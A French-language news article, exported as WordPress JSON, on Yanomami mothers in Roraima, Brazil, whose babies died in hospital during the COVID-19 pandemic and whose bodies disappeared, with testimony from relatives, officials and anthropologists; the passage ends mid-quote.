{"id":19620,"date":"2020-06-27T14:52:54","date_gmt":"2020-06-27T14:52:54","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=19620"},"modified":"2020-06-27T14:58:32","modified_gmt":"2020-06-27T14:58:32","slug":"las-madres-yanomamis-suplican-por-los-cuerpos-de-sus-bebes-en-brasil","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/06\/27\/las-madres-yanomamis-suplican-por-los-cuerpos-de-sus-bebes-en-brasil\/","title":{"rendered":"Pand\u00e9mie de coronavirus en Amazonie : les m\u00e8res Yanomami supplient pour les corp disparus de leurs b\u00e9b\u00e9s"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><img loading=\"lazy\" decoding=\"async\" class=\" alignleft\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/aut_6296.jpg\" width=\"92\" height=\"139\" \/>Trois femmes vivent une horreur pour laquelle il faut inventer un nom. Il s&rsquo;agit de San\u00f6ma, un groupe de Yanomami, et leur village, Auaris, se trouve dans ce que les blancs appellent Roraima, \u00e0 la fronti\u00e8re entre le Br\u00e9sil et le Venezuela. Elles ne comprennent pas la notion d&rsquo;une fronti\u00e8re, pour elles la terre est une &#8211; et il n&rsquo;y a pas de barri\u00e8res. Elles ne parlent pas le portugais, elles parlent leur langue. En mai, ces femmes et leurs b\u00e9b\u00e9s ont \u00e9t\u00e9 emmen\u00e9s \u00e0 Boa Vista, la capitale du \u00a0Roraima, soup\u00e7onn\u00e9es de pneumonie. Dans les h\u00f4pitaux, les b\u00e9b\u00e9s auraient \u00e9t\u00e9 contamin\u00e9s par la covid-19. Et l\u00e0, ils sont morts. Et puis leurs petits corps ont disparu, peut-\u00eatre enterr\u00e9s dans le cimeti\u00e8re de la ville. Deux des m\u00e8res ont la covid-19, entass\u00e9es dans la Casa de Sa\u00fade Ind\u00edgena (CASAI, Maison de sant\u00e9 indig\u00e8ne), pleine de malades. L\u00e0, rong\u00e9es par le virus, elles supplient pour leurs b\u00e9b\u00e9s.<\/span><\/p>\n<figure style=\"width: 667px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/imagens.brasil.elpais.com\/resizer\/StYGj3eHmrVrRBa4pmswo2QpMSI=\/768x0\/cloudfront-eu-central-1.images.arcpublishing.com\/prisa\/IFTVJXU325A4PPK7Y7FOI2P2UU.JPG\" alt=\"\" width=\"667\" height=\"500\" \/><figcaption class=\"wp-caption-text\">Enfants du peuple San\u00f6ma, qui vivent dans le territoire indig\u00e8ne Yanomami, \u00e0 la fronti\u00e8re du Br\u00e9sil avec le Venezuela. Photo S\u00edlvia Guimar\u00e3es<\/figcaption><\/figure>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Avec l&rsquo;aide de plusieurs personnes, l&rsquo;une d&rsquo;entre elles a r\u00e9ussi \u00e0 m&rsquo;envoyer un message, enregistr\u00e9, \u00e0 San\u00f6ma. Elle raconte ce qu&rsquo;elle vit. Et elle dit : \u00ab\u00a0J&rsquo;ai souffert pour avoir cet enfant. Et je souffre. Mon peuple souffre. Je dois emmener le corps de mon fils au village. Je ne peux pas rentrer sans le corps de mon fils.\u00a0\u00bb J&rsquo;entends le message avant la traduction. Je ne comprends pas les mots. Mais je comprends l&rsquo;horreur. Le langage universel de ce qui est arrach\u00e9 au monde des humains.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">\u00catre arrach\u00e9e \u00e0 un village de l&rsquo;int\u00e9rieur de la for\u00eat amazonienne parce que son fils pr\u00e9sente les sympt\u00f4mes d&rsquo;une maladie, la pneumonie, transmise par les premiers blancs qui ont d\u00e9cim\u00e9 une partie de la population Yanomami au si\u00e8cle dernier, c&rsquo;est de la violence. Passer de ce monde \u00e0 l&rsquo;espace d&rsquo;un h\u00f4pital, et d&rsquo;un h\u00f4pital surpeupl\u00e9 \u00e0 cause de la covid-19, est une autre violence. Voir son b\u00e9b\u00e9 \u00eatre contamin\u00e9 par une deuxi\u00e8me maladie, alors que l&rsquo;on \u00e9tait l\u00e0 pour \u00eatre gu\u00e9ri de la premi\u00e8re, qui \u00e9tait encore une hypoth\u00e8se, une violence de plus.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Et puis elle perd son enfant. Chacune d\u2019elles perd son enfant.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Les m\u00e8res San\u00f6ma ne comprennent pas le portugais. Bien que Roraima soit l&rsquo;\u00c9tat le plus indig\u00e8ne du Br\u00e9sil et que pr\u00e8s de deux cents Yanomami aient d\u00e9j\u00e0 \u00e9t\u00e9 contamin\u00e9s par le nouveau coronavirus, il n&rsquo;existe pas de traducteur pour cette population. Personne ne leur explique rien. Les femmes ne comprennent pas ce que les blancs disent. Et les corps de leurs enfants disparaissent. L&rsquo;un des chefs de la communaut\u00e9, qui comprend le portugais, explique que les trois b\u00e9b\u00e9s ont peut-\u00eatre \u00e9t\u00e9 enterr\u00e9s dans le cimeti\u00e8re. Mais il n&rsquo;y a pas de certitude. Personne ne leur donne de certitude, pas m\u00eame les dirigeants.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le procureur de Boa Vista Alisson Marugal a envoy\u00e9 une lettre au District sp\u00e9cial de sant\u00e9 autochtone (DSEI-Y) de pour obtenir des informations sur la localisation des corps des b\u00e9b\u00e9s. \u00ab\u00a0La situation est tr\u00e8s compliqu\u00e9e, surtout en ce qui concerne la population Yanomami. Nous avons eu quatre d\u00e9c\u00e8s officiels et dans tous les cas, nous avons eu des probl\u00e8mes. Le premier \u00e9tait le cas de l\u2019adolescent de 15 ans. Nous avons eu des probl\u00e8mes avec les soins, nous avons manqu\u00e9 et nous enqu\u00eatons \u00e9galement pour savoir s\u2019il y a eu un manque d&rsquo;assistance m\u00e9dicale\u00a0\u00bb, dit-il. \u00ab\u00a0Le cas des b\u00e9b\u00e9s San\u00f6ma commence \u00e0 peine \u00e0 \u00eatre examin\u00e9. Nous ne savons pas s&rsquo;il y a eu un diagnostic de covid-19 et, si oui, quel protocole a \u00e9t\u00e9 appliqu\u00e9 et quel \u00e9tait le lieu d&rsquo;inhumation\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Marugal a pris ses fonctions en plein milieu de la pand\u00e9mie, il dit travailler sept jours sur sept pour faire face \u00e0 un sc\u00e9nario avec de grands d\u00e9fis. \u00ab\u00a0Je n&rsquo;exclus pas la possibilit\u00e9 d&rsquo;intenter \u00e0 l&rsquo;avenir une action publique au civil pour demander des dommages moraux non seulement pour les parents, mais pour toute l&rsquo;ethnie Yanomami\u00a0\u00bb, dit-il.<\/span><\/p>\n<h3>Enterrer le corps d&rsquo;un Yanomami, c&rsquo;est l&rsquo;arracher au monde des humains<\/h3>\n<p style=\"text-align: justify;\">L<span style=\"font-size: 12pt;\">a quantit\u00e9 de violence contenue dans cette s\u00e9rie d&rsquo;actes inflig\u00e9s aux femmes San\u00f6ma est \u00e9norme, m\u00eame selon les normes de l&rsquo;\u00c9tat br\u00e9silien, un agent historique d&rsquo;agression contre les peuples autochtones. Mais la violence va bien au-del\u00e0, car si, pour un homme blanc, la douleur est ce que vivent tant de familles, dans cette pand\u00e9mie, sans pouvoir dire au revoir \u00e0 ceux qu&rsquo;elles aiment, sans pouvoir les enterrer correctement, en raison du protocole de bios\u00e9curit\u00e9, pour une femme Yanomami, pour un homme Yanomami, enterrer l&rsquo;un des siens est incompr\u00e9hensible &#8211; et inacceptable.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Les Yanomami ne sont pas enterr\u00e9s. On n&rsquo;enterre jamais, en aucun cas, un corps. Les corps sont incin\u00e9r\u00e9s et il y a un long rituel pour que les morts puissent mourir pour eux-m\u00eames et la communaut\u00e9. Les Yanomami ne sont pas des individus, comme l&rsquo;est un homme blanc vivant au Br\u00e9sil, en Espagne ou USA. Un Yanomami se comprend comme faisant partie d&rsquo;une communaut\u00e9 et s&rsquo;entrelace avec les diff\u00e9rentes dimensions des mondes visibles et invisibles dans des relations m\u00e9diatis\u00e9es par les chamans. Les rituels de la mort doivent \u00eatre suivis dans les moindres d\u00e9tails et il faut des mois, voire des ann\u00e9es, pour les accomplir. Au d\u00e9but, plusieurs villages se rendent dans la communaut\u00e9 des morts pour participer \u00e0 la cr\u00e9mation. Les cendres sont ensuite conserv\u00e9es.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Des mois plus tard, il y aura la deuxi\u00e8me partie, lorsque les visiteurs reviendront une fois de plus pour les c\u00e9l\u00e9brations. On se souviendra alors des d\u00e9funts dans leurs actes, dans leurs d\u00e9saccords, dans toutes les \u00e9tapes importantes de leur trajectoire. On se souviendra alors d\u2019eux pour qu&rsquo;il soient ensuite oubli\u00e9s, que leurs traces soient effac\u00e9es et que la communaut\u00e9 passe \u00e0 autre chose. Dans le dernier acte, les cendres des morts sont dilu\u00e9es dans de la bouillie de banane afin que celui qui est mort se dissipe dans le corps de chacun.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le rituel fait \u00e9galement mourir les morts dans le souvenir, afin que les vivants puissent vivre. Si le rituel n&rsquo;est pas accompli, les d\u00e9funts ne pourront pas \u00eatre oubli\u00e9s, ni se laisser oublier, ce qui cause un grand pr\u00e9judice \u00e0 leurs proches et \u00e0 toute la communaut\u00e9. Le rituel de mort Yanomami est d&rsquo;une extr\u00eame complexit\u00e9 et d&rsquo;une grande sagesse dans sa symbolique. Le rite est collectif et c&rsquo;est aussi un moment pour \u00e9tablir des relations sociopolitiques et m\u00eame amoureuses. En fin de compte, il n&rsquo;y a qu&rsquo;un seul mort, celui qui est mort &#8211; et non vivant &#8211; qui suit les morts parce qu&rsquo;ils n&rsquo;ont pas pu faire leur deuil, comme il arrive si souvent dans le monde des blancs, qui n&rsquo;ont plus le temps ni l&rsquo;espace pour faire la transmutation du manque en absence dont Carlos Drummond de Andrade a parl\u00e9.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Enterrer le corps d&rsquo;un mort est une horreur absolue pour le peuple Yanomami. \u00a0C\u2019est l&rsquo;arracher au monde des humains. \u00ab\u00a0Pour ces m\u00e8res, savoir que leurs enfants sont enterr\u00e9s dans le cimeti\u00e8re de la ville \u00e9quivaut \u00e0 ce qu&rsquo;une femme blanche doit vivre \u00e0 l&rsquo;id\u00e9e que le corps de son fils est jet\u00e9 et expos\u00e9 sur une place publique\u00a0\u00bb, explique Silvia Guimar\u00e3es, professeure d&rsquo;anthropologie \u00e0 l&rsquo;universit\u00e9 de Brasilia (UnB), qui m\u00e8ne des recherches aupr\u00e8s du peuple San\u00f6ma depuis de nombreuses ann\u00e9es. Elle fait partie des 40 chercheurs et supporters du r\u00e9seau Pro-Yanomami et Ye&rsquo;kwana, cr\u00e9\u00e9 pour faire face \u00e0 l&rsquo;invisibilit\u00e9 donn\u00e9e \u00e0 la souffrance des Yanomami, pendant la pand\u00e9mie, \u00e0 partir de la diffusion d&rsquo;analyses qualifi\u00e9es.<\/span><\/p>\n<h3>Sans plan d&rsquo;urgence, 40 % de la population Yanomami peut \u00eatre contamin\u00e9e<\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">La Terre indig\u00e8ne Yanomami couvre une superficie d&rsquo;environ 9,6 millions d&rsquo;hectares \u00e0 la fronti\u00e8re entre le Br\u00e9sil et le Venezuela, dans les \u00c9tats d&rsquo;Amazonas et de Roraima. Plus de 26 000 autochtones sont r\u00e9partis dans plus de 300 villages. Le sous-groupe San\u00f6ma est compos\u00e9 de 3 164 personnes, selon les donn\u00e9es de l&rsquo;Institut socio-environnemental pour 2018. Certains groupes vivent dans un isolement volontaire, ce qui signifie qu&rsquo;ils pr\u00e9f\u00e8rent ne pas cohabiter avec des blancs. Depuis que les Yanomami ont eu leurs premiers contacts en 1910, ils ont \u00e9t\u00e9 d\u00e9cim\u00e9s par des maladies, qu&rsquo;ils appellent xawara, et aussi par les tirs des garimpeiros (orpailleurs) qui envahissent leurs r\u00e9gions \u00e0 la recherche d&rsquo;or.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Davi Kopenawa, le grand intellectuel et leader des Yanomami, a d\u00e9nonc\u00e9 au monde que son peuple est menac\u00e9 de g\u00e9nocide. Il appelle les Blancs \u00ab\u00a0le peuple de la marchandise\u00a0\u00bb. Son fils, D\u00e1rio Kopenawa, de l&rsquo;association Hutukara Yanomami, dirige la campagne \u00ab\u00a0Dehors le Garimpo ! Dehors la Covid !\u00a0\u00bb. En pleine pand\u00e9mie, il y a plus de 20 000 garimpeiros sur les terres Yanomami, consid\u00e9r\u00e9es comme les plus vuln\u00e9rables au nouveau coronavirus en Amazonie. Une enqu\u00eate men\u00e9e par l&rsquo;Universit\u00e9 f\u00e9d\u00e9rale du Minas Gerais, l&rsquo;Institut socio-environnemental et la Fondation Oswaldo Cruz a montr\u00e9 que s&rsquo;il n&rsquo;y a pas de plan d&rsquo;urgence contre la transmission parmi les Yanomami, 40% de la population vivant dans les villages proches du garimpo pourrait \u00eatre contamin\u00e9e.<\/span><\/p>\n<p style=\"text-align: center;\"><iframe loading=\"lazy\" tabindex=\"0\" src=\"https:\/\/www.google.com\/maps\/embed?pb=!1m18!1m12!1m3!1d8157501.875304838!2d-62.06717380143384!3d3.3117683285268886!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x8de8c45d4276fbcb%3A0x419e1e4a94f1873b!2sRio%20Auari!5e0!3m2!1spt-BR!2sbr!4v1593003459645!5m2!1spt-BR!2sbr\" width=\"600\" height=\"450\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\" aria-hidden=\"false\" data-mce-fragment=\"1\"><\/iframe><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Selon le dernier bulletin du r\u00e9seau Pro-Yanomami et Ye&rsquo;kwana, du 21 juin, il y a 168 contamin\u00e9s et cinq morts. La Maison de la sant\u00e9 indig\u00e8ne (Casai), o\u00f9 les Yanomami sont amen\u00e9s en ville, est devenue l&rsquo;un des principaux sites de contamination. Selon le r\u00e9seau de chercheurs, plus de 80 indig\u00e8nes y ont d\u00e9j\u00e0 \u00e9t\u00e9 infect\u00e9s, soit 48 % des cas de covid-19 chez les Yanomami et les Ye&rsquo;kwana. Il y a des cas de patients Yanomami qui ont \u00e9t\u00e9 gu\u00e9ris d&rsquo;autres maladies et qui attendent depuis plus de deux mois leur retour en terre indig\u00e8ne. Ils ont fini par \u00eatre infect\u00e9s par le covid-19 \u00e0 la Casai.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Depuis que le premier Yanomami, \u00e2g\u00e9 de 15 ans, est mort du covid-19 le 9 avril, le d\u00e9sespoir s&rsquo;est multipli\u00e9. Victimes de massacres en tous genres perp\u00e9tr\u00e9s par des Blancs, il semblait impossible qu&rsquo;il y ait une forme de violence encore inconnue. Mais il y en a toujours. Et puis les Yanomami ont commenc\u00e9 \u00e0 voir les corps dispara\u00eetre, suivis de vagues explications sur les enterrements par des autorit\u00e9s qu\u2019ils peuvent \u00e0 peine comprendre. \u00ab\u00a0C&rsquo;est un \u00e9norme m\u00e9pris pour notre culture. Les corps sont enterr\u00e9s sans que personne n&rsquo;explique quoi que ce soit, sans que les familles ne soient consult\u00e9es, sans demander la permission aux m\u00e8res. Elles ne savent pas o\u00f9 leurs enfants sont enterr\u00e9s, moi qui suis un repr\u00e9sentant, je n&rsquo;ai aucune id\u00e9e de l&rsquo;endroit o\u00f9 ils sont enterr\u00e9s\u00a0\u00bb, dit D\u00e1rio Kopenawa. \u00ab\u00a0Nous voulons savoir o\u00f9 ils sont et quand nous pourrons d\u00e9terrer les corps pour les emmener au village, o\u00f9 ils sont n\u00e9s et ont grandi, o\u00f9 vivent leurs parents, leurs oncles, leurs cousins, o\u00f9 l&rsquo;\u00e2me des enfants peut \u00eatre heureuse. Nous comprenons la n\u00e9cessit\u00e9 de protocoles [de bios\u00e9curit\u00e9], mais nous devons disposer d&rsquo;informations et comprendre ce qui va se passer. Nous devons savoir quand les corps seront rendus. Nous voulons savoir combien de temps le virus va survivre dans l&rsquo;organisme. Si les infectologues nous l&rsquo;expliquent, nous comprenons et nous pouvons le respecter. Et nous pouvons transmettre ces informations \u00e0 la communaut\u00e9\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le protocole de bios\u00e9curit\u00e9, selon le r\u00e9seau Pro-Yanomami et Ye&rsquo;kwana, d\u00e9terminerait trois ans pour l&rsquo;exhumation du corps, mais jusqu&rsquo;\u00e0 pr\u00e9sent, il n&rsquo;y a m\u00eame pas de preuve que les enfants soient morts de covid-19. \u00ab\u00a0Pourquoi trois ans ? Pourquoi pas plus ? Pourquoi pas moins ? Qui explique aux femmes Yanomami\u00a0?\u00a0\u00bb, demande Silvia Guimar\u00e3es, dans un entretien avec EL PA\u00cdS.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Braulina Baniwa est l&rsquo;une des femmes indig\u00e8nes qui, bien qu&rsquo;appartenant \u00e0 l&rsquo;autre groupe ethnique, a sympathis\u00e9 avec les m\u00e8res San\u00f6ma : \u00ab\u00a0Ces femmes subissent une violence sans commune mesure. C&rsquo;est une partie de chacune d&rsquo;entre elles qui va rester en dehors du territoire\u00a0\u00bb, dit-elle. \u00ab\u00a0En plus de tout ce qu&rsquo;elles vivent, elles ne parlent pas portugais et il n&rsquo;y a aucune sensibilit\u00e9 pour les comprendre\u00a0\u00bb. Anthropologue, elle fait partie du Laboratoire Matula, cr\u00e9\u00e9 \u00e0 partir du groupe de recherche \u00ab\u00a0Sociabilit\u00e9s, diff\u00e9rences et in\u00e9galit\u00e9s\u00a0\u00bb du CNPq (Conseil national de d\u00e9veloppement scientifique et technologique).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Dans une lettre publique, Matula a d\u00e9clar\u00e9 : \u00ab\u00a0Dans le cas des femmes San\u00f6ma, la douleur de la femme indig\u00e8ne dans cette pand\u00e9mie ressort ici, qui laisse le corps de ses enfants sans possibilit\u00e9 de n\u00e9gocier les termes des c\u00e9r\u00e9monies de cl\u00f4ture de cette vie, ce qui viole leurs droits en tant que peuple. Cette sc\u00e8ne se r\u00e9p\u00e8te dans plusieurs endroits au Br\u00e9sil, mais quel est le poids de cette douleur pour une femme indig\u00e8ne, qui ne domine pas le portugais, est loin de son r\u00e9seau de soutien et attend de savoir si elle est contamin\u00e9e ? Quelle est la possibilit\u00e9 de faire entendre son discours, de faire partager et d\u00e9cider son exp\u00e9rience de la mort ? Nous sommes d&rsquo;accord pour dire que les formes de contagion sont multiples et tr\u00e8s risqu\u00e9es, mais il reste des questions \u00e0 poser : est-il possible d&rsquo;\u00eatre transparent, d&rsquo;\u00eatre ouvert au dialogue, de partager les connaissances et les d\u00e9cisions ? Quels crit\u00e8res \u00e9thiques vivrons-nous dans cette pand\u00e9mie ? Cette pand\u00e9mie rev\u00e8leles in\u00e9galit\u00e9s sociales et ce qui \u00e9tait normalis\u00e9. L&rsquo;infrastructure des services publics a \u00e9t\u00e9 omise pour cette partie de la population, les risques de d\u00e9c\u00e8s des enfants et de leurs m\u00e8res indig\u00e8nes s&rsquo;aggravent. Et il y a une paralysie de l&rsquo;action. Les femmes San\u00f6ma sont la force de cette femme indig\u00e8ne, du territoire, de la for\u00eat, des champs, de la nourriture, des rivi\u00e8res, qu&rsquo;elles g\u00e8rent pour prendre soin de la vie et elles m\u00e9ritent le respect, l&rsquo;attention et l&rsquo;admiration de l&rsquo;\u00c9tat\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Les dirigeants Yanomami exigent un protocole indig\u00e8ne pour les personnes tu\u00e9es par la covid-19. \u00ab\u00a0Nous voulons que les corps soient aseptis\u00e9s ou, si cela n&rsquo;est pas possible, incin\u00e9r\u00e9s. Ensuite, nous pourrons apporter les cendres aux villages\u00a0\u00bb, dit D\u00e1rio Kopenawa. Il n&rsquo;y a pas de cr\u00e9matorium \u00e0 Boa Vista. Et il ne semble pas non plus y avoir de volont\u00e9 de comprendre le drame des autochtones dans une soci\u00e9t\u00e9 o\u00f9 le racisme r\u00e8gne contre les peuples autochtones &#8211; 896 917 personnes, l&rsquo;\u00e9quivalent de 0,47% de la population totale du Br\u00e9sil, selon le recensement 2010 de l&rsquo;IBGE. La richesse culturelle qu&rsquo;ils repr\u00e9sentent est exprim\u00e9e par 256 peuples qui parlent plus de 150 langues diff\u00e9rentes. D\u00e9cim\u00e9s par des virus et des balles depuis cinq si\u00e8cles, ils ont r\u00e9sist\u00e9 jusqu&rsquo;\u00e0 aujourd&rsquo;hui. Et puis est arriv\u00e9e la covid-19. Le gouvernement Bolsonaro, dont l&rsquo;un des principaux projets est d&rsquo;ouvrir les terres indig\u00e8nes \u00e0 l&rsquo;exploitation priv\u00e9e, ne fait rien pour emp\u00eacher la maladie qui se propage d\u00e9j\u00e0 dans la for\u00eat amazonienne, produisant un nouveau massacre.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_22756.jpg\" width=\"558\" height=\"744\" \/><\/p>\n<p>&nbsp;<\/p>\n<p align=\"center\"><strong>Monument au garimpeiro, Boa Vista, XXI\u00e8me si\u00e8cle. Une belle cible pour les d\u00e9boulonneurs<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Selon D\u00e1rio Kopenawa, les Yanomami ont \u00e9t\u00e9 contamin\u00e9s \u00e0 la covid-19 par les garimpeiros. \u00c0 Boa Vista, les orpailleurs non seulement circulent et entrent dans le secteur public, par plusieurs portes, mais ils sont devenus carr\u00e9ment des monuments sur la place publique. Cette r\u00e9alit\u00e9 quotidienne exprime la tension entre les peuples originels et les blancs qui y sont arriv\u00e9s port\u00e9s par les projets de l&rsquo;\u00c9tat, d&rsquo;abord, puis de leur propre initiative. \u00ab\u00a0Avant la pand\u00e9mie, nous avions d\u00e9j\u00e0 la maladie du garimpo, nos rivi\u00e8res \u00e9taient contamin\u00e9es par le mercure, notre peuple mourait de tuberculose et de pneumonie. Maintenant, ils nous ont aussi apport\u00e9 la covid-19\u00a0\u00bb, dit-il. Avec les garimpeiros, le paludisme se propage \u00e9galement et fait des victimes parmi les populations indig\u00e8nes de tout le territoire. \u00ab\u00a0Et apr\u00e8s tout cela, ils nous enterrent\u00a0\u00bb, dit D\u00e1rio Kopenawa. \u00ab\u00a0Il n&rsquo;y a jamais eu de Yanomami enterr\u00e9 avant. Jamais. Je pense que oui, c&rsquo;est de la violence. Mais je pense que ne pas nous consulter ou nous demander notre permission est aussi un crime\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">En apprenant le sujet du reportage, le coordinateur int\u00e9rimaire du district sanitaire sp\u00e9cial indig\u00e8ne Yanomami (DSEI), Antonio Pereira, a d\u00e9clar\u00e9 \u00e0 EL PA\u00cdS par t\u00e9l\u00e9phone qu&rsquo;il ne pouvait pas r\u00e9pondre aux questions parce qu&rsquo;il \u00e9tait en r\u00e9union. Il s&rsquo;est engag\u00e9 \u00e0 contribuer au reportage \u00e0 la fin de ses engagements. Devant l&rsquo;insistance \u00e0 prendre rendez-vous, il a pass\u00e9 le t\u00e9l\u00e9phone \u00e0 un conseiller, qui a dit qu&rsquo;ils appelleraient. Jusqu&rsquo;\u00e0 la publication de cet article, il n&rsquo;a pas \u00e9t\u00e9 possible de r\u00e9tablir le contact avec le chef du DSEI Yanomami.<\/span><\/p>\n<h3 align=\"justify\">Le b\u00e9b\u00e9 qui est n\u00e9, est mort et a disparu<\/h3>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Il y a aussi une quatri\u00e8me femme Yanomami, souffrant de coronavirus, qui a \u00e9t\u00e9 emmen\u00e9e \u00e0 l&rsquo;h\u00f4pital pour accoucher et qui n&rsquo;a jamais revu le corps du b\u00e9b\u00e9. Le nouveau-n\u00e9, selon le procureur Alisson Marugal, serait mort de complications non li\u00e9es \u00e0 la covid-19, mais un employ\u00e9 de l&rsquo;h\u00f4pital aurait ind\u00fbment mentionn\u00e9 une suspicion de coronavirus dans le dossier. Selon les informations obtenues par EL PA\u00cdS, la famille appartient \u00e0 un autre groupe Yanomami, qui vit dans la r\u00e9gion appel\u00e9e Mission Catrimani, dans le village de Nara Uhi. N\u00e9 pr\u00e9matur\u00e9ment \u00e0 sept mois, le gar\u00e7on est n\u00e9 et est mort le 28 avril. Il a \u00e9galement disparu.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le r\u00e9cit du p\u00e8re de ce b\u00e9b\u00e9 au r\u00e9seau Pro-Yanomami et Ye&rsquo;kwana montre comment le virus a commenc\u00e9 \u00e0 d\u00e9cimer les Yanomami &#8211; et aussi comment l&rsquo;\u00c9tat est devenu un auteur de violence en produisant de nouvelles souffrances. Ce Yanomami est connu chez les blancs sous le nom de Remo :<\/span><\/p>\n<p style=\"text-align: justify; padding-left: 40px;\">\u00a0<span style=\"font-size: 12pt;\">\u00ab C&rsquo;est ainsi que cela s&rsquo;est pass\u00e9. Tout d&rsquo;abord, le chaman Andr\u00e9 a pr\u00e9sent\u00e9 des sympt\u00f4mes de covid. Il est plus \u00e2g\u00e9, il a \u00e9t\u00e9 le premier \u00e0 tomber malade. Ensuite, Miguel a fait du chamanisme pour gu\u00e9rir son p\u00e8re et il est aussi tomb\u00e9 malade. Un jour apr\u00e8s que Miguel a commenc\u00e9 \u00e0 se sentir mal, il s&rsquo;est rendu \u00e0 pied au poste de sant\u00e9 de la Mission Catrimani. La troisi\u00e8me personne \u00e0 tomber malade dans notre communaut\u00e9 a \u00e9t\u00e9 ma femme, Zita Rosinete, qui \u00e9tait enceinte. Elle avait une toux, de la diarrh\u00e9e, de la fi\u00e8vre, des maux de t\u00eate, des douleurs \u00e0 la poitrine et beaucoup de douleurs au ventre. Les chamans n&rsquo;ont pas fait de travail pour elle parce qu&rsquo;ils avaient peur de tomber malade, car cette maladie est tr\u00e8s forte.<\/span><\/p>\n<p style=\"text-align: justify; padding-left: 40px;\"><span style=\"font-size: 12pt;\">Le lendemain, apr\u00e8s que Zita Rosinete a eu de la fi\u00e8vre, nous avons march\u00e9 jusqu&rsquo;au poste de la Mission. J&rsquo;y \u00e9tais tr\u00e8s triste. Rosinete s&rsquo;est \u00e9vanouie trois fois. Elle \u00e9tait tr\u00e8s faible et tr\u00e8s f\u00e9brile. Le 27 avril, nous avons \u00e9t\u00e9 transf\u00e9r\u00e9s par avion de la mission Catrimani \u00e0 la maternit\u00e9 de Boa Vista. Quand nous sommes arriv\u00e9s \u00e0 l&rsquo;h\u00f4pital, elle s&rsquo;est encore \u00e9vanouie et j&rsquo;ai continu\u00e9 \u00e0 la tenir&#8230; Alors peut-\u00eatre que j&rsquo;ai la Covid en moi. Mais mon nez et ma bouche ont \u00e9t\u00e9 test\u00e9s n\u00e9gatifs. [Plus tard, Remo a \u00e9t\u00e9 infect\u00e9 dans la maison de sant\u00e9 indig\u00e8ne et a \u00e9t\u00e9 test\u00e9 positif \u00e0 la covid-19].<\/span><\/p>\n<p style=\"text-align: justify; padding-left: 40px;\"><span style=\"font-size: 12pt;\">Ma femme avait du mal \u00e0 respirer, elle \u00e9tait tr\u00e8s faible et a failli mourir ! Et j&rsquo;ai demand\u00e9 au m\u00e9decin : \u00ab Est-ce qu&rsquo;elle va mourir ? \u00bb \u00ab Non. Elle est encore un peu forte \u00e0 l&rsquo;int\u00e9rieur \u00bb, a-t-il dit. \u00c0 la maternit\u00e9, ils nous font dormir \u00e0 l&rsquo;\u00e9cart des autres personnes.<\/span><\/p>\n<p style=\"text-align: justify; padding-left: 40px;\"><span style=\"font-size: 12pt;\">Mon fils est mort. Le 28 avril, jour de sa naissance, il est mort. Il est n\u00e9 le matin et est mort l&rsquo;apr\u00e8s-midi. Zita Rosinete \u00e9tait tr\u00e8s faible, mais elle \u00e9tait encore un peu forte car elle ne voulait pas mourir. Si elle avait pens\u00e9 mourir, elle serait morte.<\/span><\/p>\n<p style=\"text-align: justify; padding-left: 40px;\"><span style=\"font-size: 12pt;\">Je n&rsquo;ai pas vu mon fils. Zita Rosinete a donn\u00e9 naissance au b\u00e9b\u00e9, les m\u00e9decins l&rsquo;ont emmen\u00e9 et ont dit : \u00ab Emmenez-le \u00e0 l&rsquo;h\u00f4pital, aux soins intensifs \u00bb. Puis il est mort. J&rsquo;\u00e9tais tr\u00e8s triste. Je suis toujours triste. Le m\u00e9decin n&rsquo;a pas dit pourquoi il est mort. Il m&rsquo;a juste demand\u00e9 : \u00ab H\u00e9, tu es lepapa ? Oui, je suis le papa \u00bb. \u00ab D\u00e9sol\u00e9, ton fils est mort. Il avait du mal \u00e0 respirer et c&rsquo;est pour cela qu&rsquo;il est mort \u00bb.<\/span><\/p>\n<p style=\"text-align: justify; padding-left: 40px;\"><span style=\"font-size: 12pt;\">Il est mort \u00e0 14 heures, mais je ne sais pas&#8230; C&rsquo;est juste dans le document. J&rsquo;ai dit \u00e0 l&rsquo;infirmi\u00e8re : \u00ab Je veux rendre visite \u00e0 mon fils \u00bb. Mais elle a dit : \u00ab Attendez, seulement apr\u00e8s. Les m\u00e9decins sont toujours en train de l&rsquo;examiner 